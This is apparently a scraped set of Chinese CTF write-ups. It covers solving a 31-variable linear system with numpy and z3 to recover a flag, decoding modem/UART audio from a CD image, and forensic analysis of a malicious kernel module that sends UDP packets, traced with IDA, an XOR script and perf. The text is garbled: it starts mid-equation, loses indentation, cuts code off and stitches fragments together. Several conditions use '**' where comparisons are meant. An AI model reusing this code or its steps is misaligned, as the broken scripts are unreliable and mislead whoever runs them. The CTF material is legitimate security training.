78*a18+40*a19 +96*a20 +68*a21 +35*a22 + 89*a23 + 3*a24 +29*a25 +17*a26 + 63*a27 + 43*a28 +61*a29 + 37*a30 +12*a31=142706 4*a1 +25*a2 + 16*a3 +45*a4 + 65*a5 +17*a6 + 39*a7 +59*a8 + 82*a9 +54*a10 +69*a11 +59*a12+86*a13 +37*a14 +70*a15+ 21*a16 + 46*a17 + 89*a18 + 96*a19 + 32*a20 + 35*a21 +69*a22 + 22*a23 +13*a24 +95*a25 + 58*a26 +94*a27 +29*a28+84*a29 + 24*a30 + 3*a31=146480 50*a1 +48*a2 +87*a3 +37*a4 + 53*a5 + 19*a6 +24*a7 +30*a8 + 40*a9 +31*a10 +18*a11 +89*a12 +81*a13 + 70*a14 +98*a15 + 87*a16 +98*a17 +82*a18+31*a19+71*a20+30*a21 +28*a22 + 95*a23 +22*a24 +15*a25+73*a26 +51*a27 +92*a28 +32*a29 + 97*a30 + 65*a31 = 168401 40*a1+20*a2+13*a3+25*a4+ 87*a5 + 95*a6 + 47*a7 +80*a8 + 22*a9 +43*a10 + 4*a11 + 83*a12 + 50*a13 +85*a14 + 39*a15 + 22*a16+75*a17 +3*a18 + 22*a19 +6*a20 +16*a21 +29*a22 + 65*a23 + 19*a24 + 64*a25 +48*a26 +41*a27 +8*a28 +10*a29 + 66*a30 +12*a31= 117331 37*a1 + 49*a2 + 63*a3 + 49*a4+ 3*a5 + 54*a6 + 52*a7 +61*a8 + 58*a9 + 36*a10 + 24*a11 + 6*a12 +46*a13 +47*a14 +16*a15 + 29*a16 + 83*a17 +2*a18 + 50*a19 + 94*a20 + 38*a21 +56*a22 + 34*a23+13*a24 +34*a25+12*a26 + 41*a27 +47*a28 +35*a29 + 67*a30 +74*a31= 125357 37*a1+ 2*a2 +12*a3+84*a4 +79*a5 + 36*a6 + 93*a7 +64*a8 + 68*a9 +7*a10 +37*a11 +58*a12 +68*a13+49*a14 +19*a15 + 95*a16 +43*a17 +22*a18+10*a19 +21*a20 +70*a21 +72*a22 + 73*a23+19*a24 +32*a25 + 8*a26 + 6*a27 + 89*a28 +43*a29 + 32*a30+95*a31= 138223 24*a1 + 23*a2 + 12*a3 +73*a4 + 32*a5 + 3*a6 + 61*a7 +51*a8 + 85*a9 + 94*a10 +36*a11 + 90*a12 + 49*a13 + 97*a14+18*a15 + 55*a16 +26*a17 + 40*a18+39*a19 +95*a20 +61*a21 +17*a22 + 29*a23 +7*a24 + 40*a25 +58*a26 +5*a27 + 49*a28 +2*a29 + 83*a30 +69*a31 = 136759 64*a1 +28*a2 +52*a3+74*a4+ 84*a5 + 36*a6 +39*a7 +55*a8 + 40*a9 + 44*a10+ 47*a11 + 23*a12 +1*a13 +58*a14 +33*a15 + 25*a16 +70*a17 +20*a18 +45*a19 +33*a20 +15*a21 +77*a22 + 46*a23 + 8*a24 +5*a25 + 98*a26 +39*a27 +72*a28 +9*a29 + 99*a30 +25*a31=128285 39*a1 + 8*a2 +57*a3 +39*a4 +27*a5 + 98*a6 + 70*a7 +77*a8 + 97*a9 +20*a10 + 5*a11 +2*a12 +62*a13 +88*a14 +42*a15 + 58*a16 +86*a17 +94*a18 +91*a19 + 76*a20 + 46*a21 +32*a22 + 10*a23+75*a24 +99*a25 + 62*a26 + 76*a27 +78*a28 +72*a29 + 50*a30 +50*a31= 173243
"""
# 我们使用正则表达式来分割文本并提取数字
# 假设所有系数都是正整数
equations = text.strip().split('\n')
coefficient_matrix = []
constants = []
# 正则表达式用于匹配方程中的数字
regex = r"(-?\d+)\*a\d+"
for equation in equations:
# 提取所有系数
coefficients = [int(x) for x in re.findall(regex, equation)]
coefficient_matrix.append(coefficients)
# 提取等号后面的常数
constant = re.findall(r'=\s?(\d+)', text)
constants.append(constant)
# 假设flat_list是你的原始二维数组(列表的列表)
flat_list = coefficient_matrix
# 首先将二维数组展平为一维数组
one_dimensional_list = [item for sublist in flat_list for item in sublist]
# 然后按照每31个元素进行分组
grouped_list = [one_dimensional_list[i:i+31] for i in range(0, len(one_dimensional_list), 31)]
# 现在grouped_list是一个包含多个子列表的列表,每个子列表包含31个元素(除了最后一个可能少于31个)
# 将列表转换为NumPy数组
print(len(constants[0]))
new_constants=constants[0]
A = np.array(grouped_list)
B = np.array(new_constants)
# 在尝试解决方程式之前,打印出系数矩阵和常数数组的形状以进行调试
print("Coefficient matrix shape:", A.shape)
print("Constants array shape:", B.shape)
try:
B = np.array(B, dtype=np.float64)
except ValueError as e:
print("B contains non-numeric data. Error:", e)
# 处理错误或者退出程序
exit()
# 现在我们可以尝试解方程组
if A.shape[0] ** A.shape[1] and B.shape[0] ** A.shape[0]:
try:
solution = np.linalg.solve(A, B)
print(solution)
except np.linalg.LinAlgError as e:
print("Cannot solve the system:", e) # 更详细的错误信息
else:
print("Cannot solve the system: coefficient matrix is not square or constants array does not match.")
codes = [102, 108, 97, 103, 123, 108, 48, 110, 103, 95, 49, 105, 118, 51, 95, 116, 72, 101, 95, 108, 105, 84, 52, 110, 103, 95, 107, 105, 78, 103, 125]
flag=''
for i in codes:
flag+=chr(i)
print(flag)
flag{l0ng_1iv3_tHe_liT4ng_kiNg}
正则练习与验证在regex101
如何优雅处理数学问题
res = open('yes.txt','r').read().strip()
res = res.split('\n')
#print(len(res))
from z3 import *
for i in range(1,32):
exec(f"a{i} = BitVec('a{i}',7)")
s = Solver()
for i in res:
s.add(eval(i))
# 有解对结果进行处理
flag = ""
if s.check() ** sat:
res = s.model()
for i in range(1,32):
name = f'res[a{i}]'
num = eval(name)
#print(chr(int(str(num))))
flag += chr(int(str(num)))
print(flag)
# flag{l0ng_1iv3_tHe_liT4ng_kiNg}
过去的CD
出题人题解
过去的CD
题目名叫过去的CD,提取出来里面是哔哔嘟嘟的音频,给的 hint 是 UART,如果给音频放快一点 + 有点
过去的记忆可以想起这是大概是 modem,实际确实也是,不过调低了比特率,可以使用 minimodem
等软件尝试识别,需要调整 startbit 和 endbits 都为0
不知道也没关系,可以用 UltraISO 等软件提取 CD 映像里的音频,再使用 Audacity 等软件打开,切换成
频谱图,可以看见频率很明显按二进制数据跳变,低频率为0,高频率为1
hint 给了 UART,这里需要花点时间去尝试用 UART 标准里不同的数据传输格式,即起始位终止位校验
位的有无,但不变的是数据按 LeastSignificantBit first 低位先方式传输,结合 flag 开头不变的 flag{
可以得到起始位终止位校验位都没有,进而解出整个 flag
cx wp
sound4old.nrg文件
题目给了一个**nrg
文件**,用软碟通
查看,发现有一个 wav
音频,提取出来
不如 Audition
用 Audacity
查看音频,选择 音高
,发现音频只有上下两种状态,且间隔比较固定,猜测是二进制
如何选择音高????
频谱图可以设置
用 Audacity
查看音频,选择 音高
,发现音频只有上下两种状态,且间隔比较固定,猜测是二进制。
根据上为1,下为0,以第一个下的宽度为固定间隔,把音频转成1和0。(手动转换)
PLAINTEXT
复制成功
最后把二进制转成字符(这里直接用大b哥的工具)即可得到flag。
帕鲁服务器1#2
题目给了个vmdk虚拟磁盘
之后在添加虚拟磁盘
NAT网络—–wireshark抓包
cx wp
先用火眼把恶意软件提取出来。 我用取证大师也是同理 根据创建时间判断出恶意程序。
ida分析,看到一个类似flag的字符串。
这是 帕鲁服务器#2 的flag。
再接着分析:
这部分代码对v4做了个异或,猜测是 帕鲁服务器#1 flag,写个脚本解出来。
#include<iostream>
using namespace std;
int main()
{
int a[33]={
67, 73, 68, 66, 94, 112, 87, 122, 86, 22,
87, 115, 64, 87, 122, 20, 86, 122, 75, 21,
82, 122, 72, 124, 122, 85, 17, 73, 88};
for(int i=0;i<=28;i++){
cout << char(a[i]^0x25);
出题人题解
帕鲁服务器#2 先进入单用户模式 本题试图让选手变成杀毒软件 本题考察选手对 Linux 系统的进阶使用和运维
非预期解:按修改时间列出文件发现一个贼新的给我秒了😭
既然每隔一段时间就会发送目标 UDP 流量,则数据包必然会经过 Linux 内核的网络栈,此时我们可以通 过 perf、ebpf 等工具或方法对这一系列行为进行监控,这里选择 perf
结果如下
arr[idx-1] = solve[i]
print("".join([chr(i) for i in arr]))
perf trace -v --event 'net:*' -a --call-graph fp
注意到发送的 UDP 包大小是 72 字节,而 log 中也有 72 字节的记录,观察其 stacktrace,发现都是内核符号,继续使用 perf 查询
perf kallsyms sock_sendmsg send_msg.constprop.0.isra.0 run ...
发现其他函数都来自内核本体,而 run send_msg.constprop.0.isra.0 这两个函数来自一个叫kernelsend 的内核模块,非常可疑,使用 modinfo 查询
值得一提的是其实在系统开机时或者查询 dmesg 时可以看到内核吐的警告,说加载的 kernelsend 是树外模块,此时就应提高警惕了
本系列题同时对这两个 flag 进行了简单加密防止选手直接开搜 flag{xxx} 但还是架不住找字符串内容
😡,下次加大力度